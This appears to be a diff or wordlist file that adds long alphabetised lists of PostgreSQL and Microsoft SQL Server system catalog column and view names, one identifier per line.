+to_sql_specific_schema +total_bytes +total_nblocks +total_time +total_txns +transaction +transactionid +transforms +transform_type +trffromsql +trflang +trftosql +trftype +trigger_catalog +triggered_update_columns +trigger_name +triggers +trigger_schema +truncates +trusted +tup_deleted +tup_fetched +tup_inserted +tuple +tuples_done +tuples_excluded +tuples_processed +tuples_total +tup_returned +tup_updated +two_phase +typacl +typalign +typanalyze +typarray +typbasetype +typbyval +typcategory +typcollation +typdefault +typdefaultbin +typdelim +type +typelem +type_udt_catalog +type_udt_name +type_udt_schema +typinput +typisdefined +typispreferred +typlen +typmodin +typmodout +typname +typnamespace +typndims +typnotnull +typoutput +typowner +typreceive +typrelid +typsend +typstorage +typsubscript +typtype +typtypmod +udt_catalog +udt_name +udt_privileges +udt_schema +umid +umoptions +umserver +umuser +unique_constraint_catalog +unique_constraint_name +unique_constraint_schema +unit +update_rule +usage_privileges +usebypassrls +useconfig +usecreatedb +used_bytes +usename +user_defined_type_catalog +user_defined_type_category +user_defined_type_name +user_defined_types +user_defined_type_schema +userepl +user_mapping_options +user_mappings +user_name +usesuper +usesysid +utc_offset +vacuum_count +valuntil +vartype +version +view_catalog +view_column_usage +view_definition +view_name +viewname +viewowner +view_routine_usage +views +view_schema +view_table_usage +virtualtransaction +virtualxid +wait_event +wait_event_type +waitstart +wal_buffers_full +wal_bytes +wal_distance +wal_fpi +wal_records +wal_status +wal_sync +wal_sync_time +wal_write +wal_write_time +with_check +with_hierarchy +writebacks +writeback_time +write_lag +write_lsn +writes +write_time +written_lsn +xact_commit +xact_rollback +xact_start +xmax +xmin + +[Microsoft SQL Server] +aborted_version_cleaner_end_time +aborted_version_cleaner_start_time +abort_state +accdate +acceptable_cursor_options +access_count +access_date +access_type +acquire_time +actadd +action +action_id +action_in_log +action_name +action_package_guid +actions +actions_discovered +action_sequence +actions_scheduled +action_type +activation_procedure +active +active_backups +active_count +active_fts_index_count +active_ios_count +active_loads +active_log_size +active_log_size_mb +active_memgrant_count +active_memgrant_kb +active_parallel_thread_count +active_processes_count +active_request_count +active_requests +active_restores +active_scan_time_in_ms +active_tasks_count +active_vlf_count +active_worker_address +active_worker_count +active_workers_count +actmod +actual_read_row_count +actual_state +actual_state_additional_info +actual_state_desc +additional_information +additional_parameters +additional_props +addr +address +adjacent_broker_address +affected_rows +affinity +affinity_count +affinity_type +affinity_type_desc +after_begin +after_end +after_links +after_time +ag_db_id +ag_db_name +age +age_contents +age_content_version +age_issue_time +agent_exe +age_row_number +aggregated_record_length_in_bytes +ag_group_id +ag_id +ag_name +ag_remote_replica_id +ag_resource_id +alert_id +alert_instance_id +alert_name +algorithm +algorithm_desc +algorithm_id +algorithm_tag +alias +all_columns +all_objects +allocated_bytes +allocated_extent_page_count +allocated_memory +allocated_page_file_id +allocated_page_iam_file_id +allocated_page_iam_page_id +allocated_page_page_id +allocation_count +allocations_kb +allocations_kb_per_sec +allocation_unit_id +allocation_units +allocation_unit_type +allocation_unit_type_desc +allocator_stack_address +allocpolicy +alloc_unit_id +AllocUnitId +AllocUnitName +alloc_unit_type_desc +allow_enclave_computations +allow_encrypted_value_modifications +allownulls +allow_page_locks +allow_row_locks +allows_mixed_content +allows_nullable_keys +all_parameters +all_sql_modules +all_views +altuid +ansi_defaults +ansi_null_dflt_on +ansi_nulls +ansi_padding +ansi_position +ansi_warnings +appdomain_address +appdomain_id +appdomain_name +application_name +ApplicationName +app_name +arithabort +artcache_article_address +artcache_db_address +artcache_schema_address +artcache_table_address +artcmdtype +artfilter +artgendel2cmd +artgendelcmd +artgenins2cmd +artgeninscmd +artgenupdcmd +artid +artobjid +artpartialupdcmd +artpubid +artstatus +arttype +artupdtxtcmd +AS_LOCATOR +asn +assemblies +assembly_class +assembly_files +assembly_id +assembly_method +assembly_modules +assembly_qualified_name +assembly_qualified_type_name +assembly_references +assembly_types +associated_object_id +asymmetric_key_export +asymmetric_key_id +asymmetric_key_import +asymmetric_key_persistance +asymmetric_keys +asymmetric_key_support +attested_by +attribute +audit_action_id +audit_action_name +audited_principal_id +audited_result +audit_file_offset +audit_file_path +audit_file_size +audit_guid +audit_id +audit_schema_version +audit_spec_id +auid +authenticating_database_id +authentication_method +authentication_type +authentication_type_desc +authority_name +authorization_realm +authorized_spatial_reference_id +authrealm +auth_scheme +authtype +auto_created +auto_drop +automated_backup_preference +automated_backup_preference_desc +auto_population_count +autoval +availability_databases_cluster +availability_group_listener_ip_addresses +availability_group_listeners +availability_groups +availability_groups_cluster +availability_mode +availability_mode_desc +availability_read_only_routing_lists +availability_replicas +available_bytes +available_commit_limit_kb +available_memory +available_memory_kb +available_page_file_kb +available_physical_memory_kb +average_range_rows +average_rows +average_time_between_uses +average_version_chain_traversed +avg_bind_cpu_time +avg_bind_duration +avg_chain_length +avg_clr_time +avg_compile_duration +avg_compile_memory_kb +avg_cpu_percent +avg_cpu_time +avg_dop +avg_duration +avgexectime +avg_fragmentation_in_percent +avg_fragment_size_in_pages +avg_load_balance +avg_log_bytes_used +avg_logical_io_reads +avg_logical_io_writes +avg_num_physical_io_reads +avg_optimize_cpu_time +avg_optimize_duration +avg_page_server_io_reads +avg_page_space_used_in_percent +avg_physical_io_reads +avg_query_max_used_memory +avg_query_wait_time_ms +avg_record_size_in_bytes +avg_rowcount +avg_rows +avg_system_impact +avg_tempdb_space_used +avg_time +avg_total_system_cost +avg_total_user_cost +avg_user_impact +avg_wait_time +awe_allocated_kb +backoffs +backup_devices +backup_finish_date +backup_lsn +backuplsn +backup_metadata_store +backup_metadata_uuid +backup_path +backup_priority +backup_size +backup_start_date +backup_storage_consumption_mb +backup_storage_redundancy +backup_type +base_address +base_generation +base_id +base_object_name +base_schema_ver +base_xml_component_id +basic_features +batch_count +batch_id +batchsize +batch_sql_handle +batchtext +batch_timestamp +before_begin +before_end +before_links +before_time +begin_checkpoint_id +begin_lsn +begin_time +begin_tsn +begin_update_lsn +begin_version +begin_xact_lsn +bigint +BigintData1 +BigintData2 +binary +BinaryData +binarydefinition +binary_message_body +bit +bitlength +bitpos +blob_container_id +blob_container_type +blob_container_url +blob_id +blocked +blocked_event_fire_time +blocked_task_count +block_id +blocking_exec_context_id +blocking_session_id +blocking_task_address +blocks_from_disk +blocks_from_LC +blocks_from_LogPool +block_size +bloom_filter_data_ptr +bloom_filter_md +body_size +boost_count +bootstrap_recovery_lsn +bootstrap_root_file_guid +boot_time_secs +boundary_id +boundary_value_on_right +bounding_box_xmax +bounding_box_xmin +bounding_box_ymax +bounding_box_ymin +brick_config_state +brick_guid +brick_id +brickid +brick_state +brkrinst +broker_address +broker_instance +bsn +bstat +bucket_count +bucketid +bucket_no +buckets +buckets_avg_length +buckets_avg_scan_hit_length +buckets_avg_scan_miss_length +buckets_count +buckets_in_use_count +buckets_max_length +buckets_max_length_ever +buckets_min_length +buffer_count +buffer_full_count +buffer_policy_desc +buffer_policy_flags +buffer_processed_count +buffers_available +buffer_size +built_substitute +bulkadmin +bXVTDocidUseBaseT +bytes_of_large_data_serialized +BytesOnDisk +bytes_per_sec +bytes_processed +BytesRead +bytes_serialized +bytes_to_end_of_log +bytes_used +bytes_written +BytesWritten +C1_count +C1_time +C2_count +C2_time +C3_count +C3_time +cache +cache_address +cache_available +cache_buffer +cache_capacity +cached_time +cache_hit +cache_memory_kb +cache_misses +cacheobjtype +cache_size +cache_used +can_commit +capabilities +capabilities_desc +cap_cpu_percent +cap_percentage_resource +capture_policy_execution_count +capture_policy_stale_threshold_hours +capture_policy_total_compile_cpu_time_ms +capture_policy_total_execution_cpu_time_ms +catalog +catalog_collation_type +catalog_collation_type_desc +catalog_id +CATALOG_NAME +category +category_id +ccTabname +ccTabschema +cdefault +cells_per_object +cert +certificate_id +certificates +cert_serial_number +changedate +change_tracking_databases +change_tracking_state +change_tracking_state_desc +change_tracking_tables +char +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CATALOG +CHARACTER_SET_NAME +CHARACTER_SET_SCHEMA +CHECK_CLAUSE +check_constraints +CHECK_CONSTRAINTS +CHECK_OPTION +checkpoint_file_id +checkpoint_id +checkpoint_lsn +checkpoint_pair_file_id +checkpoints_closed +checkpoint_timestamp +checksum +chk +cid +class +class_desc +class_id +classifier_function_id +classifier_id +classifier_name +classifier_type +classifier_value +class_type +class_type_desc +clause_number +cleanup_version +clear_port +clerk_name +client_app_name +client_correlation_id +client_id +client_interface_name +client_ip +client_net_address +client_process_id +ClientProcessID +client_tcp_port +client_thread_id +client_tls_version +client_version +clock_frequency +clock_hand +clock_status +cloneid +clone_state +clone_state_desc +closed_age +closed_checkpoint_epoch_value +closed_time +close_time +closing_checkpoint_id +clr_name +clustering_quality +cluster_name +cluster_nodename +cluster_owner_node +cluster_type +cluster_type_desc +cmd +cmdexec_success_code +cmds_in_tran +cmdTypeDel +cmdTypeIns +cmdTypePartialUpd +cmdTypeUpd +cmprlevel +cmptlevel +cntrltype +cntr_type +cntr_value +cold_count +colguid +colid +collation +COLLATION_CATALOG +collationcompatible +collation_id +collationid +collation_name +COLLATION_NAME +COLLATION_SCHEMA +collection_start_time +collisions +colName +colorder +colstat +column_characteristics_flags +column_count +COLUMN_DEFAULT +COLUMN_DOMAIN_USAGE +column_encryption_key_database_name +column_encryption_key_id +column_encryption_keys +column_encryption_key_values +column_id +columnid +column_master_key_id +column_master_keys +column_name +COLUMN_NAME +column_ordinal +ColumnPermissions +column_precision +COLUMN_PRIVILEGES +columns +COLUMNS +column_scale +column_size +columnstore_delete_buffer_state +columnstore_delete_buffer_state_desc +column_store_dictionaries +column_store_order_ordinal +column_store_row_groups +column_store_segments +column_type +column_type_usages +column_usage +column_value +column_value_pull_in_row_count +column_value_push_off_row_count +column_xml_schema_collection_usages +command +Command +command2 +command_count +command_desc +comment +commit_csn +commit_dependency_count +commit_dependency_total_attempt_count +commit_lbn +commit_lsn +commit_LSN +commit_sequence_num +committed_kb +committed_target_kb +commit_time +commit_timestamp +commit_ts +company +comparison_operator +compatibility_level +compensated_trans +comp_exec_ctxt_address +compid +compile_count +compile_memory_kb +completed_count +completed_ios_count +completed_ios_in_bytes +completed_range_count +completed_trans +completion_time +completion_type +completion_type_description +component +component_id +component_instance_id +component_name +compositor +compositor_desc +comp_range_address +compressed +compressed_backup_size +compressed_page_count +compressed_reason +compression_algorithm +compression_delay +computed_columns +compute_node_id +compute_pool_id +compute_units +concat_null_yields_null +concurrency +concurrency_slots_used +condition +condition_value +config +configuration_id +configuration_level +configurations +connected_state +connected_state_desc +connection_auth +connection_auth_desc +connection_id +connection_options +connections +connect_time +connect_timeout +connecttimeout +constid +CONSTRAINT_CATALOG +constraint_column_id +CONSTRAINT_COLUMN_USAGE +CONSTRAINT_NAME +constraint_object_id +CONSTRAINT_SCHEMA +CONSTRAINT_TABLE_USAGE +CONSTRAINT_TYPE +consumed_block_count +consumer_id +consumer_name +contained_availability_group_id +container_guid +container_id +container_path +container_type +container_type_desc +containing_group_name +containment +containment_desc +content +contention_factor +Context +context_info +context_settings_id +context_switch_count +context_switches_count +contract +conversation_endpoints +conversation_group_id +conversation_groups +conversation_handle +conversation_id +conversation_priorities +convgroup +cores_per_socket +correlation_process_id +correlation_thread_id +cost +count +count_compiles +counter +counter_category +counter_name +counter_value +count_executions +count_of_allocations +covering_action_name +covering_parent_action_name +covering_permission_name +cprelid +cpu +CPU +cpu_affinity_group +cpu_affinity_mask +cpu_busy +cpu_count +cpu_id +cpu_mask +cpu_rate +cpu_ticks +cpu_time +cpu_time_ms +cpu_usage +crawl_end_date +crawl_memory_address +crawl_start_date +crawl_type +crawl_type_desc +crdate +created +CREATED +create_date +createdate +created_by +create_disposition +created_time +create_lsn +createlsn +create_time +creation_client_process_id +creation_client_thread_id +creation_irp_id +creation_options +creation_request_id +creation_stack_address +creation_time +creator_sid +credential_id +credential_identity +credentials +crend +crerrors +crrows +crschver +crstart +crtsnext +crtype +crypto +cryptographic_provider_algid +cryptographic_provider_guid +cryptographic_providers +crypt_properties +crypt_property +crypt_type +crypt_type_desc +csid +csn +csw_cnt +ctext +current_aborted_transaction_count +current_cache_buffer +current_checkpoint_id +current_checkpoint_segment_count +current_column_encryption_key_count +current_configuration_commit_start_time_utc +current_cost +current_enclave_session_count +current_item_duration +current_lsn +current_memory_size_kb +current_principal +current_queue_depth +current_read_version +current_size_in_kb +current_spid +current_state +current_storage_size_mb +current_tasks_count +current_utc_offset +current_value +current_vlf_sequence_number +current_vlf_size_mb +current_workers_count +current_workitem_type +current_workitem_type_desc +cursor_handl +cursor_handle +cursor_id +cursor_name +cursor_rows +cursor_scope +cycle_id +CYCLE_OPTION +cycles_used +data +dataaccess +database +database_address +database_audit_specification_details +database_audit_specifications +database_automatic_tuning_mode +database_automatic_tuning_options +database_backup_lsn +database_credentials +database_directory_name +database_files +database_filestream_options +database_guid +database_id +DatabaseID +database_ledger_blocks +database_ledger_transactions +database_mirroring +database_mirroring_endpoints +database_mirroring_witnesses +database_name +DatabaseName +database_permissions +database_principal_id +database_principal_name +database_principals +database_query_store_options +database_recovery_status +database_role_members +databases +database_scoped_configurations +database_scoped_credentials +database_size_bytes +database_specification_id +database_state +database_state_desc +database_transaction_begin_lsn +database_transaction_begin_time +database_transaction_commit_lsn +database_transaction_last_lsn +database_transaction_last_rollback_lsn +database_transaction_log_bytes_reserved +database_transaction_log_bytes_reserved_system +database_transaction_log_bytes_used +database_transaction_log_bytes_used_system +database_transaction_log_record_count +database_transaction_most_recent_savepoint_lsn +database_transaction_next_undo_lsn +database_transaction_replicate_record_count +database_transaction_state +database_transaction_status +database_transaction_status2 +database_transaction_type +database_type +database_user_name +database_version +data_clone_id +data_compression +data_compression_desc +dataloss +data_pages +data_pool_id +data_pool_node_name +data_processed_mb +data_ptr +data_retention_period +data_retention_period_unit +data_retention_period_unit_desc +data_sensitivity_information +data_size +datasize +data_source +datasource +data_source_id +dataspace +data_space_id +data_spaces +DATA_TYPE +data_type_sql +date +date_created +date_first +datefirst +date_format +dateformat +date_modified +datetime +datetime2 +datetimeoffset +DATETIME_PRECISION +days +dbcreator +db_failover +dbfragid +db_id +dbid +DbId +dbidexec +db_ledger_blocks +db_ledger_transactions +db_len_in_bytes +db_name +dbname +DBUserName +db_ver +ddl_step +deadlock_monitor_serial_number +deadlock_priority +debug +decimal +DECLARED_DATA_TYPE +DECLARED_NUMERIC_PRECISION +DECLARED_NUMERIC_SCALE +DEFAULT_CHARACTER_SET_CATALOG +DEFAULT_CHARACTER_SET_NAME +DEFAULT_CHARACTER_SET_SCHEMA +default_constraints +default_database +default_database_name +default_fulltext_language_lcid +default_fulltext_language_name +default_language_lcid +default_language_name +default_logon_domain +default_memory_clerk_address +default_namespace +default_object_id +default_result_schema +default_result_schema_desc +default_schema_id +default_schema_name +default_value +definition +deflanguage +defval +degree_of_parallelism +delayed_durability +delayed_durability_desc +delete_access +delete_buffer_scan_count +deleted_rows +delete_level +delete_lsn +delete_referential_action +delete_referential_action_desc +DELETE_RULE +delta_pages +delta_quality +delta_store_hobt_id +deltrig +denylogin +depclass +depdbid +dependencies_failed +dependencies_taken +dependency +dependent_1_address +dependent_2_address +dependent_3_address +dependent_4_address +dependent_5_address +dependent_6_address +dependent_7_address +dependent_8_address +depid +depnumber +depsiteid +depsubid +deptype +deriv +derivation +derivation_desc +description +Description +description_id +desired_state +desired_state_desc +destination_createparams +destination_data_spaces +destination_dbms +destination_distribution_id +destination_id +destination_info +destination_length +destination_nullable +destination_precision +destination_scale +destination_type +destination_version +details +device_logical_id +device_memory_bytes +device_physical_id +device_provider +device_ready +device_to_host_bytes +device_type +dev_name +dflt +dfltdb +dfltdm +dfltns +dfltsch +diag_address +diagid +diag_status +dialog_timer +dictionary_id +diffbaseguid +diffbaselsn +diffbaseseclsn +diffbasetime +differential_base_guid +differential_base_lsn +differential_base_time +diff_map_page_id +diff_status +diff_status_desc +directory_name +disallow_namespaces +discriminator +diskadmin +disk_ios_count +disk_read_consumer_id +dispatcher_count +dispatcher_ideal_count +dispatcher_pool_address +dispatcher_timeout_ms +dispatcher_waiting_count +display_term +dist +dist_client_id +distinct_range_rows +dist_request_id +distributed_statement_id +distribution_desc +distribution_id +distribution_ordinal +distribution_policy +distribution_policy_desc +distribution_type +dist_statement_hash +dist_statement_id +dlevel +dlgerr +dlgid +dlgopened +dlgtimer +dll_name +dll_path +dm_audit_actions +dm_audit_class_type_map +dm_broker_activated_tasks +dm_broker_connections +dm_broker_forwarded_messages +dm_broker_queue_monitors +dm_cache_hit_stats +dm_cache_size +dm_cache_stats +dm_cdc_errors +dm_cdc_log_scan_sessions +dm_clr_appdomains +dm_clr_loaded_assemblies +dm_clr_properties +dm_clr_tasks +dm_cluster_endpoints +dm_column_encryption_enclave +dm_column_encryption_enclave_operation_stats +dm_column_store_object_pool +dm_cryptographic_provider_algorithms +dm_cryptographic_provider_keys +dm_cryptographic_provider_properties +dm_cryptographic_provider_sessions +dm_database_encryption_keys +dm_db_column_store_row_group_operational_stats +dm_db_column_store_row_group_physical_stats +dm_db_database_page_allocations +dm_db_data_pool_nodes +dm_db_data_pools +dm_db_external_language_stats +dm_db_external_script_execution_stats +dm_db_file_space_usage +dm_db_fts_index_physical_stats +dm_db_incremental_stats_properties +dm_db_index_operational_stats +dm_db_index_physical_stats +dm_db_index_usage_stats +dm_db_log_info +dm_db_log_space_usage +dm_db_log_stats +dm_db_mirroring_auto_page_repair +dm_db_mirroring_connections +dm_db_mirroring_past_actions +dm_db_missing_index_columns +dm_db_missing_index_details +dm_db_missing_index_groups +dm_db_missing_index_group_stats +dm_db_missing_index_group_stats_query +dm_db_objects_disabled_on_compatibility_level_change +dm_db_page_info +dm_db_partition_stats +dm_db_persisted_sku_features +dm_db_rda_migration_status +dm_db_rda_schema_update_status +dm_db_script_level +dm_db_session_space_usage +dm_db_stats_histogram +dm_db_stats_properties +dm_db_stats_properties_internal +dm_db_storage_pool_nodes +dm_db_storage_pools +dm_db_task_space_usage +dm_db_tuning_recommendations +dm_db_uncontained_entities +dm_db_xtp_checkpoint_files +dm_db_xtp_checkpoint_internals +dm_db_xtp_checkpoint_stats +dm_db_xtp_gc_cycle_stats +dm_db_xtp_hash_index_stats +dm_db_xtp_index_stats +dm_db_xtp_memory_consumers +dm_db_xtp_nonclustered_index_stats +dm_db_xtp_object_stats +dm_db_xtp_table_memory_stats +dm_db_xtp_transactions +dm_dist_requests +dm_distributed_exchange_stats +dm_dw_databases +dm_dw_locks +dm_dw_pit_databases +dm_dw_quality_clustering +dm_dw_quality_delta +dm_dw_quality_index +dm_dw_quality_row_group +dm_dw_resource_manager_abort_cache +dm_dw_resource_manager_active_tran +dm_dw_tran_manager_abort_cache +dm_dw_tran_manager_active_cache +dm_dw_tran_manager_commit_cache +dm_exec_background_job_queue +dm_exec_background_job_queue_stats +dm_exec_cached_plan_dependent_objects +dm_exec_cached_plans +dm_exec_compute_node_errors +dm_exec_compute_nodes +dm_exec_compute_node_status +dm_exec_compute_pools +dm_exec_connections +dm_exec_cursors +dm_exec_describe_first_result_set +dm_exec_describe_first_result_set_for_object +dm_exec_distributed_requests +dm_exec_distributed_request_steps +dm_exec_distributed_sql_requests +dm_exec_dms_services +dm_exec_dms_workers +dm_exec_external_operations +dm_exec_external_work +dm_exec_function_stats +dm_exec_input_buffer +dm_exec_plan_attributes +dm_exec_procedure_stats +dm_exec_query_memory_grants +dm_exec_query_optimizer_info +dm_exec_query_optimizer_memory_gateways +dm_exec_query_parallel_workers +dm_exec_query_plan +dm_exec_query_plan_stats +dm_exec_query_profiles +dm_exec_query_resource_semaphores +dm_exec_query_statistics_xml +dm_exec_query_stats +dm_exec_query_transformation_stats +dm_exec_requests +dm_exec_requests_history +dm_exec_sessions +dm_exec_session_wait_stats +dm_exec_sql_text +dm_exec_text_query_plan +dm_exec_trigger_stats +dm_exec_valid_use_hints +dm_exec_xml_handles +dm_external_authentication +dm_external_data_processed +dm_external_script_execution_stats +dm_external_script_requests +dm_external_script_resource_usage_stats +dm_filestream_file_io_handles +dm_filestream_file_io_requests +dm_filestream_non_transacted_handles +dm_fts_active_catalogs +dm_fts_fdhosts +dm_fts_index_keywords +dm_fts_index_keywords_by_document +dm_fts_index_keywords_by_property +dm_fts_index_keywords_position_by_document +dm_fts_index_population +dm_fts_memory_buffers +dm_fts_memory_pools +dm_fts_outstanding_batches +dm_fts_parser +dm_fts_population_ranges +dm_fts_semantic_similarity_population +dm_hadr_ag_threads +dm_hadr_automatic_seeding +dm_hadr_auto_page_repair +dm_hadr_availability_group_states +dm_hadr_availability_replica_cluster_nodes +dm_hadr_availability_replica_cluster_states +dm_hadr_availability_replica_states +dm_hadr_cached_database_replica_states +dm_hadr_cached_replica_states +dm_hadr_cluster +dm_hadr_cluster_members +dm_hadr_cluster_networks +dm_hadr_database_replica_cluster_states +dm_hadr_database_replica_states +dm_hadr_db_threads +dm_hadr_instance_node_map +dm_hadr_name_id_map +dm_hadr_physical_seeding_stats +dm_hpc_device_stats +dm_hpc_thread_proxy_stats +dm_io_backup_tapes +dm_io_cluster_shared_drives +dm_io_cluster_valid_path_names +dm_io_pending_io_requests +dm_io_virtual_file_stats +dm_logconsumer_cachebufferrefs +dm_logconsumer_privatecachebuffers +dm_logpool_consumers +dm_logpool_hashentries +dm_logpoolmgr_freepools +dm_logpoolmgr_respoolsize +dm_logpoolmgr_stats +dm_logpool_sharedcachebuffers +dm_logpool_stats +dm_os_buffer_descriptors +dm_os_buffer_pool_extension_configuration +dm_os_child_instances +dm_os_cluster_nodes +dm_os_cluster_properties +dm_os_dispatcher_pools +dm_os_dispatchers +dm_os_enumerate_filesystem +dm_os_enumerate_fixed_drives +dm_os_file_exists +dm_os_host_info +dm_os_hosts +dm_os_job_object +dm_os_latch_stats +dm_os_loaded_modules +dm_os_memory_allocations +dm_os_memory_broker_clerks +dm_os_memory_brokers +dm_os_memory_cache_clock_hands +dm_os_memory_cache_counters +dm_os_memory_cache_entries +dm_os_memory_cache_hash_tables +dm_os_memory_clerks +dm_os_memory_node_access_stats +dm_os_memory_nodes +dm_os_memory_objects +dm_os_memory_pools +dm_os_nodes +dm_os_performance_counters +dm_os_process_memory +dm_os_ring_buffers +dm_os_schedulers +dm_os_server_diagnostics_log_configurations +dm_os_spinlock_stats +dm_os_stacks +dm_os_sublatches +dm_os_sys_info +dm_os_sys_memory +dm_os_tasks +dm_os_threads +dm_os_virtual_address_dump +dm_os_volume_stats +dm_os_waiting_tasks +dm_os_wait_stats +dm_os_windows_info +dm_os_worker_local_storage +dm_os_workers +dm_pal_cpu_stats +dm_pal_disk_stats +dm_pal_net_stats +dm_pal_processes +dm_pal_spinlock_stats +dm_pal_vm_stats +dm_pal_wait_stats +dm_qn_subscriptions +dm_repl_articles +dm_repl_schemas +dm_repl_tranhash +dm_repl_traninfo +dm_request_phases +dm_resource_governor_configuration +dm_resource_governor_external_resource_pool_affinity +dm_resource_governor_external_resource_pools +dm_resource_governor_resource_pool_affinity +dm_resource_governor_resource_pools +dm_resource_governor_resource_pool_volumes +dm_resource_governor_workload_groups +dms_core_id +dms_cpid +dm_server_audit_status +dm_server_memory_dumps +dm_server_registry +dm_server_services +dm_sql_referenced_entities +dm_sql_referencing_entities +dms_step_index +dm_tcp_listener_states +dm_toad_tuning_zones +dm_toad_work_item_handlers +dm_toad_work_items +dm_tran_aborted_transactions +dm_tran_active_snapshot_database_transactions +dm_tran_active_transactions +dm_tran_commit_table +dm_tran_current_snapshot +dm_tran_current_transaction +dm_tran_database_transactions +dm_tran_global_recovery_transactions +dm_tran_global_transactions +dm_tran_global_transactions_enlistments +dm_tran_global_transactions_log +dm_tran_locks +dm_tran_persistent_version_store +dm_tran_persistent_version_store_stats +dm_tran_session_transactions +dm_tran_top_version_generators +dm_tran_transactions_snapshot +dm_tran_version_store +dm_tran_version_store_space_usage +dm_xcs_enumerate_blobdirectory +dm_xe_map_values +dm_xe_object_columns +dm_xe_objects +dm_xe_packages +dm_xe_session_event_actions +dm_xe_session_events +dm_xe_session_object_columns +dm_xe_sessions +dm_xe_session_targets +dm_xtp_gc_queue_stats +dm_xtp_gc_stats +dm_xtp_system_memory_consumers +dm_xtp_threads +dm_xtp_transaction_recent_rows +dm_xtp_transaction_stats +dns_name +doc_failed +document_count +document_id +document_processed_count +document_type +domain +DOMAIN_CATALOG +DOMAIN_CONSTRAINTS +DOMAIN_DEFAULT +DOMAIN_NAME +DOMAINS +DOMAIN_SCHEMA +dop +dormant_duration +dormant_duration_ms +downgrade_start_level +downgrade_target_level +dpages +dpub +DriveName +drive_type +drive_type_desc +drop_lsn +droplsn +dropped +dropped_buffer_count +dropped_event_count +dropped_lob_column_state +drop_table_memory_attempts +drop_table_memory_failures +ds_hobtid +dtc_isolation_level +dtc_state +dtc_status +dtc_support +DTD_IDENTIFIER +durability +durability_desc +duration +Duration +duration_milliseconds +ec_address +ecid +edge_constraint_clauses +edge_constraints +effective_cap_percentage_resource +effective_max_dop +effective_min_percentage_resource +effective_request_max_resource_grant_percent +effective_request_min_resource_grant_percent +elapsed_avg_ms +elapsed_max_ms +elapsed_time +elapsed_time_ms +elapsed_time_seconds +empty_bucket_count +empty_scan_count +enabled +encalg +encoding +encoding_type +encrtype +encrypted +encrypted_value +encryption_algorithm +encryption_algorithm_desc +encryption_algorithm_name +encryption_scan_modify_date +encryption_scan_state +encryption_scan_state_desc +encryption_state +encryption_state_desc +encryption_status +encryption_status_desc +encryption_type +encryption_type_desc +encrypt_option +encryptor_thumbprint +encryptor_type +end_checkpoint_id +end_column_id +end_compile_time +end_dialog_sequence +enddlgseq +ended_count +end_log_block_id +end_lsn +end_of_log_lsn +end_of_scan_count +endpoint +endpoint_id +endpoints +endpoint_url +endpoint_webmethods +end_quantum +end_time +EndTime +end_time_utc +end_tsn +end_xact_lsn +engine_version +enlist_count +enlistment_state +enqtime +enqueued_count +enqueued_tasks_count +enqueue_failed_duplicate_count +enqueue_failed_full_count +enqueue_time +entity_id +entity_name +entries_count +entries_in_use_count +entry_address +entry_count +entry_data +entry_data_address +entry_scan_direction +entry_time +enum +environ +environment_variables +epoch +equality_columns +equal_rows +error +Error +error_code +error_count +error_id +error_message +error_number +error_severity +error_state +error_timestamp +error_type +error_type_desc +estimated_completion_time +estimated_read_row_count +estimated_rows +estimate_row_count +estimate_time_complete_utc +etag +event +EventClass +event_count +event_data +event_entry_point +event_group_type +event_group_type_desc +event_handle +event_id +eventid +event_info +event_message +event_name +EventNotificationErrorsQueue +event_notification_event_types +event_notifications +event_package_guid +event_predicate +event_retention_mode +event_retention_mode_desc +events +EventSequence +event_session_address +event_session_id +EventSubClass +event_time +event_type +exception_address +exception_num +exception_severity +exclusive_access_count +exec_context_id +execute_action_duration +execute_action_initiated_by +execute_action_initiated_time +execute_action_start_time +execute_as +execute_as_principal_id +executing_managed_code +execution_count +execution_duration_ms +execution_id +execution_type +execution_type_desc +expansion_type +expiry_date +extended_procedures +extended_properties +extensibility_ctxt_address +extent_file_id +extent_page_id +external_benefit +external_data_sources +external_file_formats +external_job_streams +EXTERNAL_LANGUAGE +external_language_files +external_language_id +external_languages +external_libraries +external_libraries_installed +external_libraries_installed_table +external_library_files +external_library_id +external_library_setup_errors +external_library_setup_failures +EXTERNAL_NAME +external_pool_id +external_script_request_id +external_stream_columns +external_streaming_jobs +external_streams +external_table_columns +external_tables +external_user_name +extractor +facet_id +fade_end_time +failed_giveup_count +failed_lock_count +failed_other_count +failed_sessions_count +failed_to_create_worker +failover_mode +failover_mode_desc +failure_code +failure_condition_level +FailureConditionLevel +failure_message +failure_state +failure_state_desc +failure_time_utc +family_guid +familyid +fanout +farbrkrinst +far_broker_instance +farprincid +far_principal_id +far_service +farsvc +fcb_id +fcompensated +fcomplete +fdhost_id +fdhost_name +fdhost_process_id +fdhost_type +feature_id +feature_name +feature_type_name +federated_service_account +federatedxact_address +fetch_buffer_size +fetch_buffer_start +fetch_status +fgfragid +fgguid +fgid +fgidfs +fiber_address +fiber_context_address +fiber_data +field_terminator +file_context +file_exists +file_format_id +filegroup_guid +filegroup_id +filegroups +file_guid +fileguid +file_handle +FileHandle +file_id +fileid +FileId +file_is_a_directory +file_name +filename +FileName +filename_collation_id +filename_collation_name +file_object_type +file_object_type_desc +file_offset +file_or_directory_name +file_position +file_size_in_bytes +file_size_used_in_bytes +filestate +filestream_address +filestream_data_space_id +filestream_filegroup_id +filestream_guid +filestream_send_rate +filestream_transaction_id +file_system_type +filetables +filetable_system_defined_objects +file_type +filetype +file_type_desc +file_version +fillfact +fill_factor +filter_definition +filter_predicate +finitiator +fInReconcile +first +first_active_time +first_begin_cdc_lsn +first_begin_lsn +first_child +first_execution_time +FirstIAM +first_iam_page +first_lsn +firstoorder +first_out_of_order_sequence +first_page +first_recovery_fork_guid +first_row +first_row_time +first_snapshot_sequence_num +firstupdatelsn +first_useful_sequence_num +fixed_drive_path +fixed_length +fkey +fkey1 +fkey10 +fkey11 +fkey12 +fkey13 +fkey14 +fkey15 +fkey16 +fkey2 +fkey3 +fkey4 +fkey5 +fkey6 +fkey7 +fkey8 +fkey9 +fkeydbid +fkeyid +flag_desc +flags +Flags +float +flush_interval_seconds +fn_builtin_permissions +fn_cColvEntries_80 +fn_cdc_check_parameters +fn_cdc_decrement_lsn +fn_cdc_get_column_ordinal +fn_cdc_get_max_lsn +fn_cdc_get_min_lsn +fn_cdc_has_column_changed +fn_cdc_hexstrtobin +fn_cdc_increment_lsn +fn_cdc_is_bit_set +fn_cdc_is_ddl_handling_enabled +fn_cdc_map_lsn_to_time +fn_cdc_map_time_to_lsn +fn_check_object_signatures +fn_column_store_row_groups +fn_db_backup_file_snapshots +fn_dblog +fn_dblog_xtp +fn_dbslog +fn_dump_dblog 